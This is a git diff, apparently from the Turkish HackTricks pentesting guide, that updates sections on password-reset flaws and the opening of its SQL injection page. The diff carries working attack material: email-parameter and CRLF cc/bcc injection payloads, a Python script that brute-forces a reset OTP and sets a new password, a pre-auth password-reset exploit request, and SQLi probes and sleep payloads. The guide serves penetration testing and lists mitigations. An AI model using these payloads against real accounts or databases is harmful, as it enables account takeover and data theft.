**Şifrenizi hemen değiştirmeyin**. Bunun yerine, **Burp Suite kullanarak istekleri yakalarken** **üçüncü taraf bir web sitesine** (Facebook veya Twitter gibi) gidin. **Referer başlığının şifre sıfırlama tokenini içerip içermediğini** görmek için istekleri inceleyin, çünkü bu, hassas bilgilerin üçüncü taraflara ifşa olmasına neden olabilir. -- **Referanslar**: -- [HackerOne Raporu 342693](https://hackerone.com/reports/342693) -- [HackerOne Raporu 272379](https://hackerone.com/reports/272379) -- [Şifre Sıfırlama Tokeni Sızıntısı Makalesi](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) +- HTTP referer header, URL içinde şifre sıfırlama token'ı varsa token'ı leak edebilir. Bu, bir kullanıcı şifre sıfırlama talep ettikten sonra üçüncü taraf bir siteye tıklarsa oluşabilir. +- **Impact**: Cross-Site Request Forgery (CSRF) saldırıları yoluyla potansiyel hesap ele geçirme. +- **Exploitation**: HTTP referer header içinde bir şifre sıfırlama token'ının leak olup olmadığını kontrol etmek için, **e-posta adresinize şifre sıfırlama isteği gönderin** ve verilen **reset linkine tıklayın**. **Hemen parolayı değiştirmeyin**. Bunun yerine, **istekleri Burp Suite ile intercept ederken** bir **üçüncü taraf web sitesine** (ör. Facebook veya Twitter) gidin. İstekleri inceleyerek **referer header içinde şifre sıfırlama token'ı olup olmadığını** kontrol edin — bu, hassas bilgilerin üçüncü taraflara açığa çıkmasına neden olabilir. +- **References**: +- [HackerOne Report 342693](https://hackerone.com/reports/342693) +- [HackerOne Report 272379](https://hackerone.com/reports/272379) +- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) -## **Şifre Sıfırlama Zehirleme** +## **Password Reset Poisoning** -- Saldırganlar, şifre sıfırlama talepleri sırasında Host başlığını manipüle ederek sıfırlama bağlantısını kötü niyetli bir siteye yönlendirebilir. -- **Etkisi**: Sıfırlama tokenlerini saldırganlara sızdırarak potansiyel hesap ele geçirme. -- **Hafifletme Adımları**: -- Host başlığını izin verilen alanların beyaz listesi ile doğrulayın. -- Kesin URL'ler oluşturmak için güvenli, sunucu tarafı yöntemleri kullanın. -- **Yaman**: `$_SERVER['SERVER_NAME']` kullanarak şifre sıfırlama URL'lerini oluşturun, `$_SERVER['HTTP_HOST']` yerine. -- **Referanslar**: -- [Şifre Sıfırlama Zehirleme Üzerine Acunetix Makalesi](https://www.acunetix.com/blog/articles/password-reset-poisoning/) +- Saldırganlar, password reset istekleri sırasında Host header'ı manipüle ederek reset linkini kötü amaçlı bir siteye yönlendirebilir. +- **Impact**: Reset token'larının saldırgana leak olmasıyla potansiyel hesap ele geçirme. +- **Mitigation Steps**: +- Host header'ı izin verilen domainler listesiyle doğrulayın. +- Mutlak URL'ler oluşturmak için güvenli, server-side yöntemler kullanın. +- **Patch**: Password reset URL'lerini oluştururken `$_SERVER['SERVER_NAME']` kullanın; `$_SERVER['HTTP_HOST']` yerine. +- **References**: +- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/) -## **E-posta Parametresini Manipüle Ederek Şifre Sıfırlama** +## **Password Reset By Manipulating Email Parameter** -Saldırganlar, sıfırlama bağlantısını saptırmak için ek e-posta parametreleri ekleyerek şifre sıfırlama talebini manipüle edebilir. +Saldırganlar, reset linkini başka bir yere yönlendirmek için password reset isteğindeki email parametresini manipüle edebilir. -- Saldırgan e-posta adresini ikinci parametre olarak & kullanarak ekleyin. +- Saldırgan e-posta adresini ikinci parametre olarak & kullanarak ekleyin & ```php POST /resetPassword [...] email=victim@email.com&email=attacker@email.com ``` -- Saldırgan e-posta adresini ikinci parametre olarak %20 kullanarak ekleyin. +- İkinci parametre olarak attacker email ekle %20 kullanarak ```php POST /resetPassword [...] email=victim@email.com%20email=attacker@email.com ``` -- Saldırgan e-posta adresini ikinci parametre olarak | kullanarak ekleyin. +- attacker email'i ikinci parametre olarak | ile ekle ```php POST /resetPassword [...] email=victim@email.com|email=attacker@email.com ``` -- Saldırgan e-posta adresini ikinci parametre olarak cc kullanarak ekleyin. +- cc kullanarak attacker email'i ikinci parametre olarak ekle ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dcc:attacker@mail.tld" ``` -- Saldırgan e-posta adresini ikinci parametre olarak bcc kullanarak ekleyin +- Saldırgan e-posta adresini bcc kullanarak ikinci parametre olarak ekleyin ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dbcc:attacker@mail.tld" ``` -- Saldırgan e-posta adresini ikinci parametre olarak ekleyin, +- İkinci parametre olarak attacker email ekleyin, kullanarak , ```php POST /resetPassword [...] email="victim@mail.tld",email="attacker@mail.tld" ``` -- Saldırgan e-posta adresini JSON dizisinde ikinci parametre olarak ekleyin. +- Saldırgan e-posta adresini json dizisinin ikinci parametresi olarak ekleyin ```php POST /resetPassword [...] {"email":["victim@mail.tld","atracker@mail.tld"]} ``` -- **Azaltma Adımları**: -- E-posta parametrelerini sunucu tarafında doğru bir şekilde ayrıştırın ve doğrulayın. -- Enjeksiyon saldırılarını önlemek için hazırlıklı ifadeler veya parametreli sorgular kullanın. +- **Önleme Adımları**: +- E-posta parametrelerini sunucu tarafında düzgün şekilde ayrıştırın ve doğrulayın. +- prepared statements veya parameterized queries kullanın; injection attacks'ı önlemek için. - **Referanslar**: - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) -## **API Parametreleri ile Herhangi Bir Kullanıcının E-posta ve Şifresini Değiştirme** +## **API Parametreleri Aracılığıyla Herhangi Bir Kullanıcının E-posta ve Parolasının Değiştirilmesi** -- Saldırganlar, hesap kimlik bilgilerini değiştirmek için API isteklerindeki e-posta ve şifre parametrelerini değiştirebilir. +- Saldırganlar, hesap kimlik bilgilerini değiştirmek için API isteklerindeki e-posta ve parola parametrelerini değiştirebilirler. ```php POST /api/changepass [...] ("form": {"email":"victim@email.tld","password":"12345678"}) ``` -- **Azaltma Adımları**: -- Sıkı parametre doğrulaması ve kimlik doğrulama kontrolleri sağlanmalıdır. -- Şüpheli etkinlikleri tespit etmek ve yanıt vermek için sağlam günlükleme ve izleme uygulayın. -- **Referans**: -- [API Parametre Manipülasyonu ile Tam Hesap Ele Geçirme](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) +- **Hafifletme Adımları**: +- Parametre doğrulaması ve kimlik doğrulama kontrollerinin sıkı olduğundan emin olun. +- Şüpheli etkinlikleri tespit etmek ve yanıtlamak için güçlü kayıt tutma ve izleme uygulayın. +- **Reference**: +- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) -## **Hız Sınırı Yok: E-posta Bombası** +## **No Rate Limiting: Email Bombing** -- Şifre sıfırlama taleplerinde hız sınırının olmaması, kullanıcıyı sıfırlama e-postalarıyla boğabilir. -- **Azaltma Adımları**: -- IP adresine veya kullanıcı hesabına dayalı hız sınırlaması uygulayın. +- Şifre sıfırlama isteklerinde rate limiting olmaması email bombing'e yol açabilir ve kullanıcıyı sıfırlama e-postalarıyla bunaltabilir. +- **Hafifletme Adımları**: +- IP adresi veya kullanıcı hesabına göre rate limiting uygulayın. - Otomatik kötüye kullanımı önlemek için CAPTCHA zorlukları kullanın. -- **Referanslar**: -- [HackerOne Raporu 280534](https://hackerone.com/reports/280534) +- **References**: +- [HackerOne Report 280534](https://hackerone.com/reports/280534) -## **Şifre Sıfırlama Token'ının Nasıl Üretildiğini Bulun** +## **Find out How Password Reset Token is Generated** -- Token üretimi arkasındaki desen veya yöntemi anlamak, token'ları tahmin etmeye veya brute-force yapmaya yol açabilir. Bazı seçenekler: -- Zaman Damgasına Dayalı -- Kullanıcı Kimliğine Dayalı -- Kullanıcının E-posta Adresine Dayalı -- Ad ve Soyadına Dayalı -- Doğum Tarihine Dayalı -- Kriptografi Temelli -- **Azaltma Adımları**: -- Token üretimi için güçlü, kriptografik yöntemler kullanın. -- Tahmin edilebilirliği önlemek için yeterli rastgelelik ve uzunluk sağladığınızdan emin olun. -- **Araçlar**: Token'ların rastgeleliğini analiz etmek için Burp Sequencer kullanın. +- Token oluşturma desenini veya yöntemini anlamak, token'ların tahmin edilmesine veya brute-forcing ile ele geçirilmesine yol açabilir. Bazı seçenekler: +- Timestamp'a dayalı +- UserID'e dayalı +- Kullanıcının email'ine dayalı +- İsim ve soyisme dayalı +- Doğum tarihine dayalı +- Kriptografi tabanlı +- **Hafifletme Adımları**: +- Token oluşturmak için güçlü, kriptografik yöntemler kullanın. +- Tahmin edilebilirliği önlemek için yeterli rastgelelik ve uzunluk sağlayın. +- **Araçlar**: Burp Sequencer kullanarak token'ların rastgeleliğini analiz edin. -## **Tahmin Edilebilir UUID** +## **Guessable UUID** + +- UUID'ler (version 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli reset token'ları üretmek için bunları brute-force ile deneyebilir. Kontrol edin: -- UUID'ler (sürüm 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli sıfırlama token'ları oluşturmak için brute-force yapabilir. Kontrol edin: {{#ref}} uuid-insecurities.md {{#endref}} -- **Azaltma Adımları**: -- Rastgelelik için GUID sürüm 4 kullanın veya diğer sürümler için ek güvenlik önlemleri uygulayın. +- **Hafifletme Adımları**: +- Rastgelelik için GUID version 4 kullanın veya diğer versiyonlar için ek güvenlik önlemleri uygulayın. - **Araçlar**: GUID'leri analiz etmek ve oluşturmak için [guidtool](https://github.com/intruder-io/guidtool) kullanın. -## **Yanıt Manipülasyonu: Kötü Yanıtı İyi Olanla Değiştir** +## **Response Manipulation: Replace Bad Response With Good One** -- Hata mesajlarını veya kısıtlamaları aşmak için HTTP yanıtlarını manipüle etme. -- **Azaltma Adımları**: +- Hata mesajlarını veya kısıtlamaları atlamak için HTTP yanıtlarını manipüle etmek. +- **Hafifletme Adımları**: - Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın. -- Adam arasında saldırıları önlemek için HTTPS gibi güvenli iletişim kanalları kullanın. -- **Referans**: -- [Canlı Hata Avı Etkinliğinde Kritik Hata](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) +- Man-in-the-middle saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın. +- **Reference**: +- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) -## **Süresi Dolmuş Token Kullanma** +## **Using Expired Token** -- Süresi dolmuş token'ların hala şifre sıfırlama için kullanılıp kullanılamayacağını test etme. -- **Azaltma Adımları**: -- Sıkı token süresi dolma politikaları uygulayın ve token süresinin dolduğunu sunucu tarafında doğrulayın. +- Süresi dolmuş token'ların hâlâ şifre sıfırlamada kullanılıp kullanılamayacağını test etmek. +- **Hafifletme Adımları**: +- Sıkı token süre sonu politikaları uygulayın ve token süre sonunu sunucu tarafında doğrulayın. -## **Brute Force Şifre Sıfırlama Token'ı** +## **Brute Force Password Reset Token** -- IP tabanlı hız sınırlamalarını aşmak için Burpsuite ve IP-Rotator gibi araçlar kullanarak sıfırlama token'ını brute-force yapma. -- **Azaltma Adımları**: -- Sağlam hız sınırlama ve hesap kilitleme mekanizmaları uygulayın. -- Brute-force saldırılarını gösteren şüpheli etkinlikleri izleyin. +- IP tabanlı rate limitleri aşmak için Burpsuite ve IP-Rotator gibi araçları kullanarak reset token'ı brute-force etmeyi denemek. +- **Hafifletme Adımları**: +- Güçlü rate-limiting ve hesap kilitleme mekanizmaları uygulayın. +- Brute-force saldırılarına işaret eden şüpheli etkinlikleri izleyin. -## **Token'ınızı Kullanmayı Deneyin** +## **Try Using Your Token** -- Bir saldırganın sıfırlama token'ının mağdurun e-posta adresi ile birlikte kullanılıp kullanılamayacağını test etme. -- **Azaltma Adımları**: -- Token'ların kullanıcı oturumu veya diğer kullanıcıya özgü özelliklere bağlı olduğundan emin olun. +- Bir saldırganın reset token'ının kurbanın e-postası ile birlikte kullanılıp kullanılamayacağını test etmek. +- **Hafifletme Adımları**: +- Token'ların kullanıcı oturumuna veya diğer kullanıcıya özgü niteliklere bağlı olduğundan emin olun. -## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama** +## **Session Invalidation in Logout/Password Reset** -- Kullanıcı çıkış yaptığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olun. -- **Azaltma Adımları**: -- Tüm oturumların çıkış veya şifre sıfırlama sırasında geçersiz kılındığından emin olmak için uygun oturum yönetimi uygulayın. +- Bir kullanıcı oturumu kapattığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olmak. +- **Hafifletme Adımları**: +- Oturum kapatma veya şifre sıfırlama sırasında tüm oturumların geçersiz kılınmasını sağlayacak doğru oturum yönetimini uygulayın. -## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama** +## **Session Invalidation in Logout/Password Reset** -- Sıfırlama token'larının geçersiz hale geleceği bir son kullanma süresi olmalıdır. -- **Azaltma Adımları**: -- Sıfırlama token'ları için makul bir son kullanma süresi belirleyin ve bunu sunucu tarafında sıkı bir şekilde uygulayın. +- Reset token'larının belirli bir süre sonu olmalı ve bu süreden sonra geçersiz olmalılar. +- **Hafifletme Adımları**: +- Reset token'ları için makul bir süre sonu belirleyin ve bunu sunucu tarafında kesinlikle uygulayın. -## **Oturumunuzu Değiştirerek OTP Hız Sınırı Aşma** +## **OTP rate limit bypass by changing your session** -- Web sitesi yanlış OTP denemelerini izlemek için kullanıcı oturumu kullanıyorsa ve OTP zayıfsa (<= 4 haneli), OTP'yi etkili bir şekilde brute-force yapabiliriz. -- **istismar**: -- Sunucu tarafından engellendikten sonra yeni bir oturum token'ı talep edin. -- **Örnek** kod, bu hatayı rastgele OTP tahmin ederek istismar eder (oturumu değiştirdiğinizde OTP de değişecektir, bu nedenle ardışık olarak brute-force yapamayacağız!): +- Eğer web sitesi yanlış OTP denemelerini izlemek için kullanıcı oturumunu kullanıyorsa ve OTP zayıfsa (<= 4 hane) OTP'yi etkin bir şekilde brute-force edebiliriz. +- **Sömürme**: +- Sunucu tarafından engellendikten sonra sadece yeni bir session token isteyin. +- **Örnek** kodu, OTP'yi rastgele tahmin ederek bu hatayı sömüren (oturumu değiştirdiğinizde OTP de değişecektir, bu yüzden ardışık brute-force yapamayacağız!): ``` python -# Şifre sıfırlama ile kimlik doğrulama atlatma -# coderMohammed tarafından +# Authentication bypass by password reset +# by coderMohammed import requests import random from time import sleep @@ -192,46 +193,83 @@ parms = dict() ter = 0 phpsessid = "" -print("[+] Saldırı başlatılıyor!") +print("[+] Starting attack!") sleep(3) -print("[+] Bu işlemin tamamlanması yaklaşık 5 dakika sürebilir!") +print("[+] This might take around 5 minutes to finish!") try: while True: -parms["recovery_code"] = f"{random.randint(0, 9999):04}" # 0 - 9999 arası rastgele sayı -parms["s"] = 164 # önemsiz, sadece ön yüzü etkiler +parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d +parms["s"] = 164 # not important it only efects the frontend res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) -if ter == 8: # deneme sayısını takip et -out = requests.get(logout,headers=headers) # çıkış yap -mainp = requests.get(root) # başka bir phpssid (token) alır +if ter == 8: # follow number of trails +out = requests.get(logout,headers=headers) # log u out +mainp = requests.get(root) # gets another phpssid (token) -cookies = out.cookies # oturum kimliğini çıkar +cookies = out.cookies # extract the sessionid phpsessid = cookies.get('PHPSESSID') -headers["cookies"]=f"PHPSESSID={phpsessid}" # yeni oturum ile başlıkları güncelle +headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session -reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # şifreyi değiştirmek için e-posta gönderir -ter = 0 # 8 denemeden sonra yeni bir oturum almak için ter'i sıfırla +reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for +ter = 0 # reset ter so we get a new session after 8 trails else: ter += 1 -if(len(res.text) == 2292): # bu, kurtarma kodunu doğru aldığınızda sayfanın uzunluğudur (test edilerek elde edilmiştir) -print(len(res.text)) # hata ayıklama bilgisi +if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing) +print(len(res.text)) # for debug info print(phpsessid) -reset_data = { # burada şifreyi yeni bir şeyle değiştireceğiz +reset_data = { # here we will change the password to somthing new "new_password": "D37djkamd!", "confirm_password": "D37djkamd!" } reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers) -print("[+] Şifre şu şekilde değiştirildi:D37djkamd!") +print("[+] Password has been changed to:D37djkamd!") break except Exception as e: -print("[+] Saldırı durduruldu") +print("[+] Attck stopped") ``` -## Referanslar +## Arbitrary password reset via skipOldPwdCheck (pre-auth) + +Bazı uygulamalar, skipOldPwdCheck=true ile password-change rutinini çağıran ve herhangi bir reset token'ı veya sahipliği doğrulamayan bir password change eylemi açığa çıkarır. Eğer endpoint, request gövdesinde change_password gibi bir action parametresini ve bir username/yeni şifre kabul ediyorsa, bir saldırgan pre-auth olarak rastgele hesapları sıfırlayabilir. + +Zafiyetli desen (PHP): +```php +// hub/rpwd.php +RequestHandler::validateCSRFToken(); +$RP = new RecoverPwd(); +$RP->process($_REQUEST, $_POST); + +// modules/Users/RecoverPwd.php +if ($request['action'] == 'change_password') { +$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']); +} + +public function displayChangePwd($smarty, $username, $newpwd) { +$current_user = CRMEntity::getInstance('Users'); +$current_user->id = $current_user->retrieve_user_id($username); +// ... criteria checks omitted ... +$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true +emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id); +} +``` +Exploitation isteği (kavram): +```http +POST /hub/rpwd.php HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd! +``` +Önlemler: +- Parola değiştirmeden önce her zaman hesaba ve session'a bağlı, süreyle sınırlı geçerli bir reset token gerektirin. +- skipOldPwdCheck path'lerini kimlik doğrulanmamış kullanıcılara asla açmayın; normal parola değişiklikleri için kimlik doğrulamayı zorunlu kılın ve eski parolayı doğrulayın. +- Parola değişikliğinden sonra tüm aktif session'ları ve reset token'ları geçersiz kılın. + +## Kaynaklar - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) +- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md index d36902e19..5953b7607 100644 --- a/src/pentesting-web/sql-injection/README.md +++ b/src/pentesting-web/sql-injection/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -## SQL enjeksiyonu nedir? +## SQL injection nedir? -Bir **SQL enjeksiyonu**, saldırganların bir uygulamanın **veritabanı sorgularıyla etkileşimde bulunmasına** olanak tanıyan bir güvenlik açığıdır. Bu zafiyet, saldırganların **görmesine**, **değiştirmesine** veya **silmesine** izin verebilir; bu, erişmemeleri gereken verileri, diğer kullanıcıların bilgilerini veya uygulamanın erişebileceği herhangi bir veriyi içerebilir. Bu tür eylemler, uygulamanın işlevselliğinde veya içeriğinde kalıcı değişikliklere veya hatta sunucunun tehlikeye girmesine veya hizmetin reddine yol açabilir. +Bir **SQL injection**, saldırganların bir uygulamanın **veritabanı sorgularına müdahale etmelerini** sağlayan bir güvenlik açığıdır. Bu zafiyet, saldırganların erişmemesi gereken verileri — diğer kullanıcıların bilgileri veya uygulamanın erişebildiği herhangi bir veri dahil — **görmelerine**, **değiştirmelerine** veya **silmelerine** olanak tanıyabilir. Bu tür eylemler uygulamanın işlevselliğinde veya içeriğinde kalıcı değişikliklere, hatta sunucunun ele geçirilmesine veya denial of service'e neden olabilir. ## Giriş noktası tespiti -Bir sitenin, SQLi ile ilgili girdilere alışılmadık sunucu yanıtları nedeniyle **SQL enjeksiyonuna (SQLi)** **duyarlı** olduğu görünüyorsa, **ilk adım**, **veriyi sorguya enjekte etmenin** ve bunu bozmadan yapmanın yolunu anlamaktır. Bu, mevcut bağlamdan **etkili bir şekilde kaçış** yöntemini belirlemeyi gerektirir. İşte bazı faydalı örnekler: +Bir site, SQLi ile ilişkili girdilere verilen olağandışı sunucu yanıtları nedeniyle **SQL injection (SQLi)**'ye açık görünüyorsa, **ilk adım** sorguyu bozmeden sorguya nasıl **veri enjekte edileceğini** anlamaktır. Bu, mevcut bağlamdan etkili şekilde **kaçma (escape)** yöntemini belirlemeyi gerektirir. Aşağıda bazı faydalı örnekler var: ``` [Nothing] ' @@ -21,11 +21,11 @@ Bir sitenin, SQLi ile ilgili girdilere alışılmadık sunucu yanıtları nedeni ")) `)) ``` -Sonra, **sorguyu hatasız hale getirmeyi** bilmeniz gerekiyor. Sorguyu düzeltmek için **veri girebilir** ve **önceki sorgunun yeni veriyi kabul etmesini** sağlayabilirsiniz veya sadece **verinizi girebilir** ve **sonuna bir yorum sembolü ekleyebilirsiniz**. +Sonra, hataların olmaması için **query'i nasıl düzelteceğinizi** bilmeniz gerekir. Query'i düzeltmek için **input** veri girerek **previous query**'in yeni veriyi kabul etmesini sağlayabilir veya sadece verinizi **input** edip sonuna bir **comment symbol** ekleyebilirsiniz. -_Hata mesajlarını görebiliyorsanız veya bir sorgunun çalıştığında ve çalışmadığında farklılıkları fark edebiliyorsanız, bu aşama daha kolay olacaktır._ +_Not: Eğer error messages görebiliyorsanız ya da bir query'nin çalışırken ve çalışmıyorken arasındaki farkları tespit edebiliyorsanız bu aşama daha kolay olacaktır._ -### **Yorumlar** +### **Comments** ```sql MySQL #comment @@ -53,9 +53,9 @@ HQL does not support comments ``` ### Mantıksal işlemlerle doğrulama -SQL enjeksiyon zafiyetini doğrulamak için güvenilir bir yöntem, bir **mantıksal işlem** gerçekleştirmek ve beklenen sonuçları gözlemlemektir. Örneğin, `?username=Peter` gibi bir GET parametresinin `?username=Peter' or '1'='1` olarak değiştirildiğinde aynı içeriği vermesi, bir SQL enjeksiyon zafiyetini gösterir. +SQL injection zafiyetini doğrulamanın güvenilir bir yöntemi, bir **mantıksal işlem** yürütmek ve beklenen sonuçları gözlemlemektir. Örneğin, `?username=Peter` gibi bir GET parametresinin `?username=Peter' or '1'='1` olarak değiştirildiğinde aynı içeriği vermesi SQL injection açığını gösterir. -Benzer şekilde, **matematiksel işlemlerin** uygulanması etkili bir doğrulama tekniği olarak hizmet eder. Örneğin, `?id=1` ve `?id=2-1` erişimlerinin aynı sonucu vermesi, SQL enjeksiyonunu gösterir. +Benzer şekilde, **matematiksel işlemlerin** uygulanması da etkili bir doğrulama tekniğidir. Örneğin, `?id=1` ve `?id=2-1` erişimleri aynı sonucu veriyorsa, bu SQL injection göstergesidir. Mantıksal işlem doğrulamasını gösteren örnekler: ``` @@ -64,7 +64,7 @@ page.asp?id=1' or 1=1 -- results in true page.asp?id=1" or 1=1 -- results in true page.asp?id=1 and 1=2 -- results in false ``` -Bu kelime listesi, önerilen şekilde **SQL enjeksiyonlarını** doğrulamaya çalışmak için oluşturulmuştur: +Bu kelime listesi, önerilen şekilde **SQLinjections**'ı doğrulamaya çalışmak için oluşturuldu:
Gerçek SQLi @@ -154,10 +154,10 @@ true ```
-### Zamanlama ile Onaylama +### Zamanlama ile Doğrulama -Bazı durumlarda **test ettiğiniz sayfada herhangi bir değişiklik fark etmeyeceksiniz**. Bu nedenle, **kör SQL enjeksiyonlarını keşfetmenin** iyi bir yolu, veritabanının işlemler gerçekleştirmesini sağlamak ve bu işlemlerin sayfanın yüklenme süresi üzerinde **etkisi** olacaktır.\ -Bu nedenle, SQL sorgusuna tamamlanması uzun sürecek bir işlemi birleştireceğiz: +Bazı durumlarda test ettiğiniz sayfada **herhangi bir değişiklik fark etmeyebilirsiniz**. Bu nedenle, **blind SQL injections'ı keşfetmek** için DB'nin işlemler yapmasını sağlayarak sayfanın yüklenme süresine **etki etmesini** sağlamak iyi bir yoldur.\ +Bu yüzden SQL query'e tamamlanması uzun sürecek bir işlemi concat edeceğiz: ``` MySQL (string concat and logical ops) 1' + sleep(10) @@ -179,11 +179,11 @@ SQLite 1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) 1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) ``` -Bazı durumlarda **sleep fonksiyonlarına izin verilmeyecek**. Bu durumda, bu fonksiyonları kullanmak yerine sorgunun **karmaşık işlemler gerçekleştirmesini** sağlayabilirsiniz. _Bu tekniklerin örnekleri her teknoloji için ayrı ayrı yorumlanacaktır (varsa)_. +Bazı durumlarda **sleep functions won't be allowed**. Bu durumda, bu fonksiyonları kullanmak yerine sorgunun birkaç saniye sürecek **karmaşık işlemler gerçekleştirmesini** sağlayabilirsiniz. _Bu tekniklerin örnekleri her teknoloji için ayrı olarak (varsa) yorumlanacaktır_. -### Arka Uç Belirleme +### Arka Uç Tespiti -Arka ucu belirlemenin en iyi yolu, farklı arka uçların fonksiyonlarını çalıştırmaya çalışmaktır. Önceki bölümdeki _**sleep**_ **fonksiyonlarını** veya bu fonksiyonları kullanabilirsiniz (tablo [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification): +Arka ucu tespit etmenin en iyi yolu, farklı arka uçlara ait fonksiyonları çalıştırmayı denemektir. Önceki bölümdeki _**sleep**_ **fonksiyonlarını** veya şu örnekleri kullanabilirsiniz ( [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification) kaynağından alınan tablo): ```bash ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"], ["connection_id()=connection_id()" ,"MYSQL"], @@ -211,29 +211,27 @@ Arka ucu belirlemenin en iyi yolu, farklı arka uçların fonksiyonlarını çal ["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ``` -Ayrıca, eğer sorgunun çıktısına erişiminiz varsa, **veritabanının sürümünü yazdırmasını** sağlayabilirsiniz. +Ayrıca, sorgu çıktısına erişiminiz varsa, **veritabanı sürümünü yazdırmasını** sağlayabilirsiniz. > [!TIP] -> Devamında, farklı SQL Injection türlerini istismar etmek için farklı yöntemleri tartışacağız. Örnek olarak MySQL kullanacağız. +> Devamında farklı tür SQL Injection'ları istismar etmek için farklı yöntemleri tartışacağız. Örnek olarak MySQL kullanacağız. -### PortSwigger ile Tanımlama +### PortSwigger ile Tespit {{#ref}} https://portswigger.net/web-security/sql-injection/cheat-sheet {{#endref}} -## Union Tabanlı İstismar +## Union Based'i İstismar Etme ### Sütun sayısını tespit etme -Eğer sorgunun çıktısını görebiliyorsanız, bunu istismar etmenin en iyi yolu budur.\ -Öncelikle, **ilk isteğin** döndürdüğü **sütun** **sayısını** bulmamız gerekiyor. Bunun nedeni, **her iki sorgunun da aynı sayıda sütun döndürmesi gerektiğidir**.\ -Bu amaçla genellikle iki yöntem kullanılır: +Eğer sorgunun çıktısını görebiliyorsanız, bu onu istismar etmenin en iyi yoludur. Öncelikle, **ilk isteğin** döndürdüğü **sütun** **sayısını** bulmamız gerekiyor. Bunun nedeni **her iki sorgunun da aynı sayıda sütun döndürmesi** gerektiğidir. Bu amaç için genellikle iki yöntem kullanılır: #### Order/Group by -Bir sorgudaki sütun sayısını belirlemek için, **ORDER BY** veya **GROUP BY** ifadelerinde kullanılan sayıyı kademeli olarak artırarak yanlış bir yanıt alınana kadar ayarlayın. SQL içindeki **GROUP BY** ve **ORDER BY**'nın farklı işlevlerine rağmen, her ikisi de sorgunun sütun sayısını belirlemek için aynı şekilde kullanılabilir. +Bir sorgudaki sütun sayısını belirlemek için, bir yanlış yanıt alına kadar **ORDER BY** veya **GROUP BY** deyimlerinde kullanılan sayıyı kademeli olarak artırın. SQL içindeki **GROUP BY** ve **ORDER BY**'ın farklı işlevleri olmasına rağmen, sorgunun sütun sayısını belirlemek için her ikisi de aynı şekilde kullanılabilir. ```sql 1' ORDER BY 1--+ #True 1' ORDER BY 2--+ #True @@ -257,11 +255,11 @@ Sorgu doğru olana kadar daha fazla null değeri seçin: 1' UNION SELECT null,null-- - Not working 1' UNION SELECT null,null,null-- - Worked ``` -_`null` değerlerini kullanmalısınız çünkü bazı durumlarda sorgunun her iki tarafındaki sütunların türü aynı olmalıdır ve null her durumda geçerlidir._ +_`null` değerlerini kullanmalısınız; bazı durumlarda sorgunun her iki tarafındaki sütunların türü aynı olmalıdır ve `null` her durumda geçerlidir._ -### Veritabanı adlarını, tablo adlarını ve sütun adlarını çıkarın +### Veritabanı adları, tablo adları ve sütun adlarını 